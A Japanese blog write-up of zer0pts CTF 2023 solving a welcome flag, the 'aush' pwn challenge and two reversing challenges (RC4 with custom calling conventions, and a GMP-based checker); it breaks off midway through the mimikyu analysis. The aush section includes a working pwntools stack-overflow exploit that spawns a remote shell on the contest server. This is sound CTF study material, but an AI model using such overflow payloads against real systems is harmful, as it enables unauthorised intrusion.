プログラム系統備忘録ブログ

記事中のコードは自己責任の下でご自由にどうぞ。

zer0pts CTF 2023 write-up

CTF

zer0pts CTF 2023に参加しました。そのwrite-up記事です。問題や公式write-up等は zer0pts CTF 2023 Official Writeups - HackMD にまとめられています。

コンテスト概要

2023/07/15(土) 12:00 +09:00 - 2023/07/16(日) 12:00 +09:00 の開催期間でした。他ルールはトップページ記載内容から引用します: 

[ About ]
Welcome to zer0pts CTF 2023!
zer0pts CTF is a jeopardy-style CTF.
We offer a diverse range of enjoyable challenges across various difficulty levels and categories, all without the need for any guessing skills.

[ Contact ]
Discord: https://discord.gg/3QrDP2sMYd

[ Prizes ]
There are prizes for the top-performing teams.
🥇 1000 USD + 1 year HTB voucher (VIP+) × 4
🥈 500 USD + 1 year HTB voucher (VIP) × 4
🥉 250 USD + 6 months HTB voucher (VIP) × 4
The team that secures the first place will qualify for the SECCON CTF 2023 Finals (International division).

The top 3 teams must submit writeups of some challenges to zer0ptsctf@gmail.com within 24h after the CTF ends. We will specify which challenges need writeups after the CTF.

[ Rules ]
There is no limit on your team size.
Anyone can participate in this CTF: there are no restrictions based on age or nationality.
Your rank on the scoreboard depends on two factors: 1) your total number of points (higher is better); 2) the timestamp of your last solved challenge (erlier is better).
The survey challenge is special: it awards you some points, but it doesn't update your "last solved challenge" timestamp. You can't get ahead simply by solving the survey faster.
Brute-forcing the flags is not allowed. If you submit 5 incorrect flags in quick succession, the flag submission form will be locked for 5 minutes.
Each person can participate in only one team.
Sharing solutions, hints, or flags with other teams during the competition is strictly forbidden.
You are not allowed to attack the scoreserver.
You are not allowed to attack other teams.
Having multiple accounts is not allowed. If you are unable to log in to your account, please contact us on Discord.
We reserve the right to ban and disqualify any teams breaking any of these rules.
The flag format is zer0pts\{[\x20-\x7e]+\}, unless specified otherwise.
Most importantly: good luck and have fun!

(後略)

結果

pwnジャンルを7問中1問、reversingジャンルを4問中3問解けました。

環境

WindowsのWSL2(Ubuntu 22.04)を使って取り組みました。

Windows

c:\>ver

Microsoft Windows [Version 10.0.19045.3208]

c:\>wsl -l -v
  NAME                   STATE           VERSION
* Ubuntu-22.04           Running         2
  kali-linux             Stopped         2
  docker-desktop         Running         2
  docker-desktop-data    Running         2

c:\>

他ソフト

  • IDA Version 8.3.230608 Windows x64 (64-bit address size) (なお、Free版IDA version 8.2からはx86バイナリもクラウドベースの逆コンパイルができます。version 7頃から引き続き、x64バイナリも同様に逆コンパイルができます。)
  • Microsoft Visual Studio Community 2022 (64-bit) - Current Version 17.6.2
  • x64dbg Version May 25 2023, 00:25:30

WSL2(Ubuntu 22.04) 

$ cat /proc/version
Linux version 5.15.90.1-microsoft-standard-WSL2 (oe-user@oe-host) (x86_64-msft-linux-gcc (GCC) 9.3.0, GNU ld (GNU Binutils) 2.34.0.20200220) #1 SMP Fri Jan 27 02:56:13 UTC 2023
$ cat /etc/os-release
PRETTY_NAME="Ubuntu 22.04.2 LTS"
NAME="Ubuntu"
VERSION_ID="22.04"
VERSION="22.04.2 LTS (Jammy Jellyfish)"
VERSION_CODENAME=jammy
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=jammy
$ python3 --version
Python 3.10.6
$ python3 -m pip show pip | grep Version
Version: 22.0.2
$ python3 -m pip show pwntools | grep Version
Version: 4.10.0
$ python3 -m pip show tqdm | grep Version
Version: 4.64.0
$ gdb --version
GNU gdb (Ubuntu 12.1-0ubuntu1~22.04) 12.1
Copyright (C) 2022 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
$ cat ~/peda/README | grep -e 'Version: ' -e 'Release: '
Version: 1.0
Release: special public release, Black Hat USA 2012
$ strace --version
strace -- version 5.16
Copyright (c) 1991-2022 The strace developers <https://strace.io>.
This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

Optional features enabled: stack-trace=libunwind stack-demangle m32-mpers mx32-mpers
$

解けた問題

[welcome] welcome (464 team solved, 53 points) 

Check Discord for the flag. We will also announce some important information there.

CTF開始時刻になると、Discordannouncementチャンネルに以下の書き込みがありました:

ptr — Today at 11:59 AM
@everyone
📣 The CTF has just started! Here is the welcome flag 📣
zer0pts{3nj0y_th3_CTF_t0_W1N2023!!!!}

フラグを入手できました: zer0pts{3nj0y_th3_CTF_t0_W1N2023!!!!}

[pwn, warmup] aush (101 team solved, 96 points) 

I will give you the shell, but after you authenticated yourself.

nc pwn.2023.zer0pts.com 9006

配布ファイルとして、問題本体のauthと、元ソースのmain.c等がありました:

$ file *
Dockerfile:         ASCII text
aush:               ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=2a5305931cbcc0922d0271cf6457ea091ad67e75, for GNU/Linux 3.2.0, not stripped
docker-compose.yml: ASCII text
main.c:             C source, ASCII text
$ pwn checksec aush
[*] '/mnt/d/Documents/work/ctf/zer0pts_CTF_2023/aush/aush'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
$

main.cは以下の内容です:

#include <fcntl.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#define LEN_USER 0x10
#define LEN_PASS 0x20

int setup(char *passbuf, size_t passlen, char *userbuf, size_t userlen) {
  int ret, fd;

  // TODO: change it to password/username file
  if ((fd = open("/dev/urandom", O_RDONLY)) == -1)
    return 1;
  ret  = read(fd, passbuf, passlen) != passlen;
  ret |= read(fd, userbuf, userlen) != userlen;
  close(fd);
  return ret;
}

int main(int argc, char **argv, char **envp) {
  char *args[3];
  char inpuser[LEN_USER+1] = { 0 };
  char inppass[LEN_PASS+1] = { 0 };
  char username[LEN_USER] = { 0 };
  char password[LEN_PASS] = { 0 };

  if (system("/usr/games/cowsay Welcome to AUSH: AUthenticated SHell!") != 0) {
    write(STDOUT_FILENO, "cowsay not found\n", 17);
    return 1;
  }

  /* Load password and username file */
  if (setup(password, LEN_PASS, username, LEN_USER))
    return 1;

  /* Check username */
  write(STDOUT_FILENO, "Username: ", 10);
  if (read(STDIN_FILENO, inpuser, 0x200) <= 0)
    return 1;

  if (memcmp(username, inpuser, LEN_USER) != 0) {
    args[0] = "/usr/games/cowsay";
    args[1] = "Invalid username";
    args[2] = NULL;
    execve(args[0], args, envp);
  }

  /* Check password */
  write(STDOUT_FILENO, "Password: ", 10);
  if (read(STDIN_FILENO, inppass, 0x200) <= 0)
    return 1;

  if (memcmp(password, inppass, LEN_PASS) != 0) {
    args[0] = "/usr/games/cowsay";
    args[1] = "Invalid password";
    args[2] = NULL;
    execve(args[0], args, envp);
  }

  /* Grant access */
  args[0] = "/bin/sh";
  args[1] = NULL;
  execve(args[0], args, envp);
  return 0;
}

認証対象のusername, passwordの内容は、実行ごとにランダムな内容に設定されることが分かります(char[]型ですがNUL文字終端はされません)。一方で、ユーザー入力を受けるread(STDIN_FILENO, inpuser, 0x200)およびread(STDIN_FILENO, inppass, 0x200)でBuffer Overflowが発生することも分かります。

最初は「inpuserより後ろのアドレスにusername, passwordがあればそれらもろとも上書きして、既知の内容で認証できそう」と考えました。しかし、IDAでスタック変数の配置を見ると、そうはできないことが分かりました:

(前略)
-0000000000000080 username        db 16 dup(?)
-0000000000000070 inpuser         db 32 dup(?)
-0000000000000050 password        db 32 dup(?)
-0000000000000030 inppass         db 40 dup(?)
-0000000000000008 qwCanary        dq ?
+0000000000000000  s              db 8 dup(?)
+0000000000000008  r              db 8 dup(?)
+0000000000000010
+0000000000000010 ; end of stack variables

username変数が最も若いアドレスにあります！そういうわけで、どうあがいてもInvalid username時のexecveルートになってしまいそうです。execveが実行されると制御が戻らないため、mainの戻りアドレス改ざん等は無意味そうです。また、username, inpuserの一致判定はmemcmpで行っているため、NUL文字での打ち切りもできません。

全然分からないので適当に試していると、usernameに大量の入力を与えればパスワード入力へ突入できることが分かりました:

$ ./aush
 _______________________________________
< Welcome to AUSH: AUthenticated SHell! >
 ---------------------------------------
        \   ^__^
         \  (oo)\_______
            (__)\       )\/\
                ||----w |
                ||     ||
Username: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Password:

原因を調べるためにstrace実行しました:

$ strace ./aush
execve("./aush", ["./aush"], 0x7ffde6cc55e0 /* 24 vars */) = 0
(中略)
write(1, "Username: ", 10Username: )              = 10
read(0, aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"..., 512) = 512
execve("/usr/games/cowsay", ["/usr/games/cowsay", "Invalid username"], 0x7fffa7548658 /* 24 vars */) = -1 EFAULT (Bad address)
write(1, "Password: ", 10Password: )              = 10

execve呼び出しが失敗しています！詳しくは調べていませんが、確かenvpが指す先はスタックの下の方(=後ろのアドレスの方)にあるはずで、そこを改ざんすることで「*envp先のchar*アドレスが不正」となってエラーになったのかもしれません。

ともかく無事にユーザー名の認証は突破できました。残るpasswordは改ざんできるため既知の内容です。また、最後のシェル獲得用execveを成功させるために、ついでに0x00でスタックを上書きしてやると良さそうです。この発想でソルバーを書きました:

#!/usr/bin/env python3

import pwn
BIN_NAME = "./aush"
pwn.context.binary = BIN_NAME
# pwn.context.log_level = "DEBUG"

def solve(io):
    # -0000000000000080 username        db 16 dup(?)
    # -0000000000000070 inpuser         db 32 dup(?)
    # -0000000000000050 password        db 32 dup(?)
    # -0000000000000030 inppass         db 32 dup(?)
    io.sendafter(b"Username: ", b"A" * (512))
    io.sendafter(b"Password: ", b"A" * 32 + b"\x00"*(512-32))
    io.interactive()

# with pwn.process(BIN_NAME) as io: solve(io)
with pwn.remote("pwn.2023.zer0pts.com", 9006) as io: solve(io)

command = """
set follow-fork-mode parent
b *(main+0x122)
c
"""
# with pwn.gdb.debug([BIN_NAME], command) as io: solve(io)

実行しました:

$ ./solve.py
[*] '/mnt/d/Documents/work/ctf/zer0pts_CTF_2023/aush/aush'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to pwn.2023.zer0pts.com on port 9006: Done
[*] Switching to interactive mode
$ ls
bin
boot
dev
etc
flag-fa42a46ca5184f00fe7138bd3736767c.txt
home
lib
lib32
lib64
libx32
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
$ cat flag*
zer0pts{p0lLut3_7h3_3nv1r0nnnNNnnnNnnnnNNNnnNnnNn}
$
[*] Closed connection to pwn.2023.zer0pts.com port 9006
$

フラグを入手できました: zer0pts{p0lLut3_7h3_3nv1r0nnnNNnnnNnnnnNNNnnNnnNn}

[reversing, warmup] decompile me (124 team solved, 91 points) 

Reverse engineering is getting easier thanks to IDA/Ghidra decompiler!

配布ファイルとして、challがありました:

$ file chall
chall: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=2ab445e9f70698730020147cd5891e52c3ad234c, for GNU/Linux 3.2.0, not stripped
$

challバイナリをIDAで開いて調べてみると、一見正常に逆コンパイルできるように見えます。例えばmain関数の逆コンパイル結果は以下の内容です:

int __fastcall main(int argc, const char **argv, const char **envp)
{
  _QWORD v4[65]; // [rsp+0h] [rbp-208h] BYREF

  memset(v4, 0, 0x200uLL);
  v4[0] = 128LL;
  write(1LL, "FLAG: ", 14LL);
  read(0LL, v4, 128LL);
  RC4_setkey(&key, &sbox);
  RC4_encrypt(v4, &v4[16], &sbox);
  if ( !memcmp(&v4[16], &enc, 128LL) )
    return puts("Correct!");
  else
    return puts("Wrong...");
}

しかし、main関数から呼び出している3つの関数を逆コンパイルすると、未初期化のままレジスタを使用しているという警告(変数名が橙色表記)が表示されます:

未初期化レジスタを使用しているとの警告

このような場合、その関数の引数や、呼び出し先関数の戻り値に、通常の呼び出し規約ではないレジスタが使用されている傾向にあります。例で挙げたRC4_encrypt関数の場合では、関数引数の受け取り方がx64 ELFの一般的な呼び出し規約の「rdi, rsi, rdx, rcx, r8, r9, 残りはスタック」ではなく、r13, r14, r15レジスタを使用しているようです。

IDAでは、__usercallという呼び出し規約を指定すると、引数や戻り値に任意のレジスタを指定できます(構文が独特なので、慣れるまではBad declarationエラーをもらいがちです)。詳細はIgor’s tip of the week #51: Custom calling conventions – Hex Raysを参照ください。今回の問題バイナリの関数に、適切な呼び出し規約を適用したり、変数名を調整したりした結果を以下に示します:

int __fastcall main(int argc, const char **argv, const char **envp)
{
  BYTE byteArrayInputSize128[128]; // [rsp+0h] [rbp-208h] BYREF
  BYTE byteArrayEncryptedResultSize128[128]; // [rsp+80h] [rbp-188h] BYREF
  BYTE sbox[264]; // [rsp+100h] [rbp-108h] BYREF

  memset(byteArrayInputSize128, 0, 0x200uLL);
  *(_QWORD *)byteArrayInputSize128 = 128LL;
  write(1LL, "FLAG: ", 14LL);
  read(0LL, byteArrayInputSize128, 128LL);
  RC4_setkey(sbox, &val);                       // valはグローバル変数
  RC4_encrypt(sbox, byteArrayEncryptedResultSize128, byteArrayInputSize128);
  if ( !memcmp(byteArrayEncryptedResultSize128, 0x80u) )
    return puts("Correct!");
  else
    return puts("Wrong...");
}

void __usercall RC4_setkey(BYTE *pSbox@<r13>, const BYTE *pKeySize8@<r12>)
{
  __int64 dwIndex; // rcx
  __int64 j; // rdx
  __int64 i; // rcx
  __int64 dwKeyIndex; // rbx
  BYTE byteValue2; // di

  dwIndex = 0LL;
  LOBYTE(j) = 0;
  do
  {
    pSbox[dwIndex] = dwIndex;
    dwIndex = (unsigned int)(dwIndex + 1);
  }
  while ( (unsigned int)dwIndex < 0x100 );
  i = 0LL;
  dwKeyIndex = 0LL;
  do
  {
    j = (unsigned __int8)(pKeySize8[dwKeyIndex] + pSbox[i] + j);
    byteValue2 = pSbox[j];
    pSbox[j] = pSbox[i];
    pSbox[i] = byteValue2;
    dwKeyIndex = (unsigned int)(dwKeyIndex + 1);
    if ( (unsigned int)dwKeyIndex >= 8 )
      dwKeyIndex = 0LL;
    i = (unsigned int)(i + 1);
  }
  while ( (unsigned int)i < 0x100 );
}

void __usercall RC4_encrypt(BYTE *pSbox@<r13>, BYTE *pByteArrayDest@<r14>, const BYTE *pByteXorArray@<r15>)
{
  __int64 dwDestIndex; // rcx
  __int64 dwIndex1; // rdx
  __int64 dwIndex2; // rbx
  BYTE byteValue1; // di

  dwDestIndex = 0LL;
  LOBYTE(dwIndex1) = 0;
  LOBYTE(dwIndex2) = 0;
  do
  {
    dwIndex1 = (unsigned __int8)(dwIndex1 + 1);
    dwIndex2 = (unsigned __int8)(pSbox[dwIndex1] + dwIndex2);
    byteValue1 = pSbox[dwIndex1];
    pSbox[dwIndex1] = pSbox[dwIndex2];
    pSbox[dwIndex2] = byteValue1;
    pByteArrayDest[dwDestIndex] = pByteXorArray[dwDestIndex] ^ pSbox[(unsigned __int8)(pSbox[dwIndex2] + pSbox[dwIndex1])];
    dwDestIndex = (unsigned int)(dwDestIndex + 1);
  }
  while ( (unsigned int)dwDestIndex < 0x80 );
}

// 実際はmemcmpでもなんでもなくてdatと一致するかを検証している
__int64 __usercall memcmp@<rax>(const BYTE *pData@<r14>, unsigned int dwLength@<edx>)
{
  __int64 bIsNotEquals; // rax
  __int64 dwIndex; // rcx

  bIsNotEquals = 0LL;
  dwIndex = 0LL;
  do
  {
    LOBYTE(bIsNotEquals) = dat[dwIndex] ^ pData[dwIndex] | bIsNotEquals;// datはグローバル変数
    dwIndex = (unsigned int)(dwIndex + 1);
  }
  while ( (unsigned int)dwIndex < dwLength );
  return bIsNotEquals;
}

というわけで、RC4関係の関数はおそらく真っ当にRC4を使った暗号化をしており、memcmpと言う名前の関数は実際にはdat変数内容との比較を行っていることが分かりました。RC4はXORを使った暗号化であるため、暗号化も復号も同一の処理になります。これらの知識を使ってソルバーを書きました。

なお、最近知ったことなのですが、IDAのIDA ViewやHex Viewでグローバル変数等の内容を範囲選択してShift+Eを押すとExport dataダイアログが表示され、範囲選択した内容のHexダンプ等が簡単に得られます(Shift+Eというキー操作や、Export dataダイアログについては右クリックメニューに現れません。見えないものを知ることはとても難しいです)。詳細はIgor’s tip of the week #39: Export Data – Hex Raysを参照ください。例として、今回の問題のdat内容を取得したときの様子です:

IDAのExport dataダイアログ

書いたソルバーです:

#!/usr/bin/env python3

def RC4_setkey(sbox, val):
    for i in range(256):
        sbox[i] = i
    valueIndex = 0
    j = 0
    for i in range(256):
        j = (val[valueIndex] + sbox[i] + j) % 256
        (sbox[i], sbox[j]) = (sbox[j], sbox[i])
        valueIndex = (valueIndex + 1) % 8

def RC4_encrypt(sbox, key):
    result = bytearray(128)
    i = 0
    j = 0
    for destIndex in range(128):
        i += 1
        j = (sbox[i] + j) % 256
        (sbox[i], sbox[j]) = (sbox[j], sbox[i])
        result[destIndex] = key[destIndex] ^ sbox[(sbox[i] + sbox[j]) % 256]
    return result

val = bytes.fromhex("3109811919144511")
dat = bytes.fromhex("78CFC485DC33074C9335FB7C108EBE9328E62E75DA5E85C591157589480E29A4F9A63A6E1F84F742B09331F068C0433807320957DA3244CFCD8FE5BFE3D6BB599A6A8485D322A98EB5EABD57DEB16C93E47470AC1A03D9169FBC97FB85D9A69ED4D60259D528B39316B6C478C4A212D2EFB15418FD7651A35E57B8584B1EE241")
sbox = bytearray(256)

RC4_setkey(sbox, val)
decrypted = RC4_encrypt(sbox, dat)
print(decrypted.rstrip(b"\x00").decode())

実行しました:

$ ./solve.py
zer0pts{d0n'7_4lw4y5_7ru57_d3c0mp1l3r}

$

フラグを入手できました: zer0pts{d0n'7_4lw4y5_7ru57_d3c0mp1l3r}

__usercallのことを知らなければ、訳がわからなくなっていたと思います。

[reversing] mimikyu (64 team solved, 121 points) 

Deja vu in Windows

配布ファイルとして、問題本体のmimikyuと、関連するらしいライブラリがありました:

$ file *
libc.so.6: ELF 64-bit LSB shared object, x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=69389d485a9793dbe873f0ea2c93e02efaa9aa3d, for GNU/Linux 3.2.0, stripped
libgmp.so: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, BuildID[sha1]=f110719303ddbea25a5e89ff730fec520eed67b0, stripped
mimikyu:   ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=62ad96fb0de6f5a09fa97599f9bf9143a6280216, for GNU/Linux 3.2.0, not stripped
$

libc.so.6とlibgmp.soのハッシュ値を計算してVirusTotalで検索するとknown-distributorとlegitのタグが付いていたので、それらは無改造版のようです。

mimikyuをIDAで開くと、LoadLibraryAという関数名(中身はdlopenのラッパー)や、assert時の文字列から見えるハンガリアン記法の変数名があり、たしかに問題文通りにWindowsを彷彿させる内容でした。また、ResolveModuleFunction関数では何らかの方法でsoファイルがエクスポートしている関数を列挙し、関数名の何らかのハッシュ関数適応結果が引数と一致した場合に、dlsym関数で動的に解決して呼び出していました。

ResolveModuleFunctionが解決する関数は、デバッガーを使った以下の方法で確認しました:

  • dlsym関数にブレークポイントを設置して、解決する関数名を確認
  • 必要な場合には、ResolveModuleFunction+0x311にブレークポイントを設置して、引数を確認

main関数や、その中で使用しているcap関数が動的に解決する関数をコメントでメモした逆コンパイル結果は以下になります:

int __fastcall main(int argc, const char **argv, const char **envp)
{
  __int64 dwRandomValue; // rdx
  __int64 dwRandomValue2; // rdx
  unsigned __int64 i; // [rsp+18h] [rbp-78h]
  unsigned __int64 j; // [rsp+20h] [rbp-70h]
  unsigned __int64 k; // [rsp+28h] [rbp-68h]
  char *pStrInputted; // [rsp+30h] [rbp-60h]
  void *hLibc; // [rsp+40h] [rbp-50h]
  void *hGMP; // [rsp+48h] [rbp-48h]
  char mpz1[16]; // [rsp+50h] [rbp-40h] BYREF
  char mpz2[16]; // [rsp+60h] [rbp-30h] BYREF
  char mpz3[24]; // [rsp+70h] [rbp-20h] BYREF
  unsigned __int64 qwCanary; // [rsp+88h] [rbp-8h]

  qwCanary = __readfsqword(0x28u);
  if ( argc > 1 )
  {
    pStrInputted = (char *)argv[1];
    if ( strlen(pStrInputted) == 40 )
    {
      hLibc = LoadLibraryA("libc.so.6");
      if ( !hLibc )
        __assert_fail("hLibc != NULL", "main.c", 0x4Au, "main");
      hGMP = LoadLibraryA("libgmp.so");
      if ( !hGMP )
        __assert_fail("hGMP != NULL", "main.c", 0x4Cu, "main");
      ResolveModuleFunction(hGMP, 1907704461, mpz1);// "__gmpz_init"
      ResolveModuleFunction(hGMP, 1907704461, mpz2);// "__gmpz_init"
      ResolveModuleFunction(hGMP, 1907704461, mpz3);// "__gmpz_init"
      ResolveModuleFunction(hLibc, 4236145432, *(unsigned int *)main);// srand(0xfa1e0ff3)。mainを間接参照しています、PIEだろうが先頭4バイト固定です！(endbr64命令そのもの)
      ResolveModuleFunction(hLibc, 2484709472, _bss_start, 0LL);// setbuf(何か, 0);多分stdoutのバッファリング無効
      printf("Checking...");
      for ( i = 0LL; i < 40; ++i )
      {
        if ( !(unsigned int)ResolveModuleFunction(hLibc, 0x4E8A031A, (unsigned int)pStrInputted[i]) )// isprint
        {
labelPutWrong:
          puts("\nWrong.");
          goto labelCleanUp;
        }
      }
      for ( j = 0LL; j < 40; j += 4LL )
      {
        ResolveModuleFunction(hGMP, -249367710, mpz2, 1LL);// __gmpz_set_ui(1)、なお「#define mpz_set_ui __gmpz_set_ui」、 value = 1;
        for ( k = 0LL; k <= 2; ++k )
        {
          ResolveModuleFunction(hLibc, 13994153, '.');// putchar
          dwRandomValue = (int)ResolveModuleFunction(hLibc, 2070735453) % 0x10000;// rand()
          cap(hLibc, hGMP, dwRandomValue, (__int64)mpz1);// mpz1 = (乱数依存の値)
          ResolveModuleFunction(hGMP, 880641627, mpz2, mpz2, mpz1);// __gmpz_mul(); mpz2 *= mpz1
        }
        ResolveModuleFunction(hLibc, 13994153, '.');// putchar、結局ここまででmpz2 = (乱数依存の値3個の積);になっている
        dwRandomValue2 = (int)ResolveModuleFunction(hLibc, 2070735453) % 0x10000;// rand()
        cap(hLibc, hGMP, dwRandomValue2, (__int64)mpz3);// mpz3 = (乱数依存の値)
        ResolveModuleFunction(hGMP, -249367710, mpz1, *(unsigned int *)&pStrInputted[j]);// __gmpz_set_ui(); mpz1 = (フラグのN文字目から4文字分の値)
        ResolveModuleFunction(hGMP, -1876728194, mpz1, mpz1, mpz3, mpz2);// __gmpz_powm(); mpz1 = (mpz1 ** mpz3) % mpz2;
        if ( (unsigned int)ResolveModuleFunction(hGMP, -1309138724, mpz1, encoded[j >> 2]) )// __gmpz_cmp_ui
          goto labelPutWrong;
      }
      puts("\nCorrect!");
labelCleanUp:
      ResolveModuleFunction(hGMP, 835473311, mpz1);// __gmpz_clear()
      ResolveModuleFunction(hGMP, 835473311, mpz2);// __gmpz_clear()
      ResolveModuleFunction(hGMP, 835473311, mpz3);// __gmpz_clear()
      CloseHandle(hLibc);
      CloseHandle(hGMP);
      return 0;
    }
    else
    {
      puts("Nowhere near close.");
      return 0;
    }
  }
  else
  {
    printf("Usage: %s FLAG\n", *argv);
    return 1;
  }
}

// 乱数依存のなにかの整数を格納しそう
void __fastcall cap(void *hLibc, void *hGMP, __int64 dwRandomValue, __int64 mpzWork)
{
  char strFormat[4]; // [rsp+3Ch] [rbp-24h] BYREF
  char strFormatted[24]; // [rsp+40h] [rbp-20h] BYREF
  unsigned __int64 qwCanary; // [rsp+58h] [rbp-8h]

  qwCanary = __readfsqword(0x28u);
  *(_DWORD *)strFormat = 0x2A4E700F;
  ResolveModuleFunction(hGMP, -249367710, mpzWork, 0LL);// __gmpz_set_ui(どっかへのアドレス, 0); work = 0;
  ResolveModuleFunction(hLibc, -413265922, dwRandomValue);// hcreate(0x657f等の乱数); よくわからないけどhsearchで検索する用途？
  ResolveModuleFunction(hLibc, 474403722, strFormat, 4LL);// memfrob(&v, 4), 各バイトを42(=0x2a)でXORを取るやつ
  do
  {
    ResolveModuleFunction(hGMP, 1955180440, strFormatted, strFormat, mpzWork);// __gmp_sprintf(文字列, "%Zd", 1, dest？), 多分ドキュメント上の名前はgmp_sprintf
    ResolveModuleFunction(hGMP, -314869232, mpzWork, mpzWork, 1LL);// __gmpz_add_ui(work, work, 1); work += 1
  }
  while ( ResolveModuleFunction(hLibc, 1353400471, strFormatted, 0LL, 1LL) );// hsearch(str, 0, 1)
  ResolveModuleFunction(hLibc, -1353971267);    // hdestroy()
  ResolveModuleFunction(hGMP, 473889088, mpzWork, mpzWork, 1LL);// __gmpz_sub_ui(何か, 何か, 1); work -= 1
}

なお、dlsym関数でlibgmpから解決する関数名は__gmpz_set_ui等のアンダーバーから始まる関数ですが、ヘッダーファイルgmp-wasm/gmp-h.in at main · torquem-ch/gmp-wasmにおいて#define mpz_set_ui __gmpz_set_ui等と別名が付けられています。Top (GNU MP 6.2.1)のドキュメント上では、mpz_set_ui等の別名側を使っている点に注意が必要です。本記事ではdlsym側で解決する側の関数名を使用します。

処理の流れを要約すると、以下のものになります:

  • コマンドライン引数の長さが40文字であることを検証します。
  • srand(0xfa1e0ff3)で乱数シードを固定値に設定します。上のコメントにも振っている通り、main関数のアドレスではなく、main関数の命令先頭4バイトの使用している点に注意してください。
  • コマンドライン引数40文字すべてがisprintであること(=印字可能文字であること)を検証します。
  • フラグ先頭から4文字ごとについて、以下の内容を検証します。検証失敗時はその時点でWrong出力へ移行します。
    1. rand()結果をcap関数へ渡し、乱数のみに依存する何らかのを取得します。ここで、srand()引数が固定値であるため、rand()結果も固定される点に注意してください。
    2. 1の処理を3回行い、それらの総乗を計算します。
    3. 改めて1の処理を行います。
    4. (現在処理中のフラグ中4文字) ** (3の結果) % (2の結果)が、グローバル変数encoded内容と一致することを検証します。

ひとまず、各rand()に対応するcap関数の結果を知りたくなりました。まず、main+0x3A8のjnz命令をnop命令で上書きして、encoded内容との一致有無にかかわらず最後までループが回るようにパッチを当てました。その後、各cap関数呼び出し中で、どこまでインクリメントしているかをgdbで確認しました:

$ gdb -nx -q ./mimikyu.patched
Reading symbols from ./mimikyu.patched...
(No debugging symbols found in ./mimikyu.patched)
(gdb) break *(cap+0x10F)
Breakpoint 1 at 0x18ad
(gdb) commands
Type commands for breakpoint(s) 1, one per line.
End with a line saying just "end".
>silent
># 試行錯誤した結果、↓の場所にsprintf結果がありました
>x/s $rbp-0x20
>continue
>end
(gdb) run AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Starting program: /mnt/d/Documents/work/ctf/zer0pts_CTF_2023/mimikyu/mimikyu.patched AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Checking....0x7fffffffe320:     "25997"
.0x7fffffffe320:        "31567"
.0x7fffffffe320:        "47317"
.0x7fffffffe320:        "61651"
.0x7fffffffe320:        "23719"
.0x7fffffffe320:        "64553"
.0x7fffffffe320:        "36493"
.0x7fffffffe320:        "2143"
.0x7fffffffe320:        "4967"
.0x7fffffffe320:        "63977"
.0x7fffffffe320:        "12197"
.0x7fffffffe320:        "36451"
.0x7fffffffe320:        "49597"
.0x7fffffffe320:        "18481"
.0x7fffffffe320:        "20011"
.0x7fffffffe320:        "33353"
.0x7fffffffe320:        "53861"
.0x7fffffffe320:        "3671"
.0x7fffffffe320:        "54767"
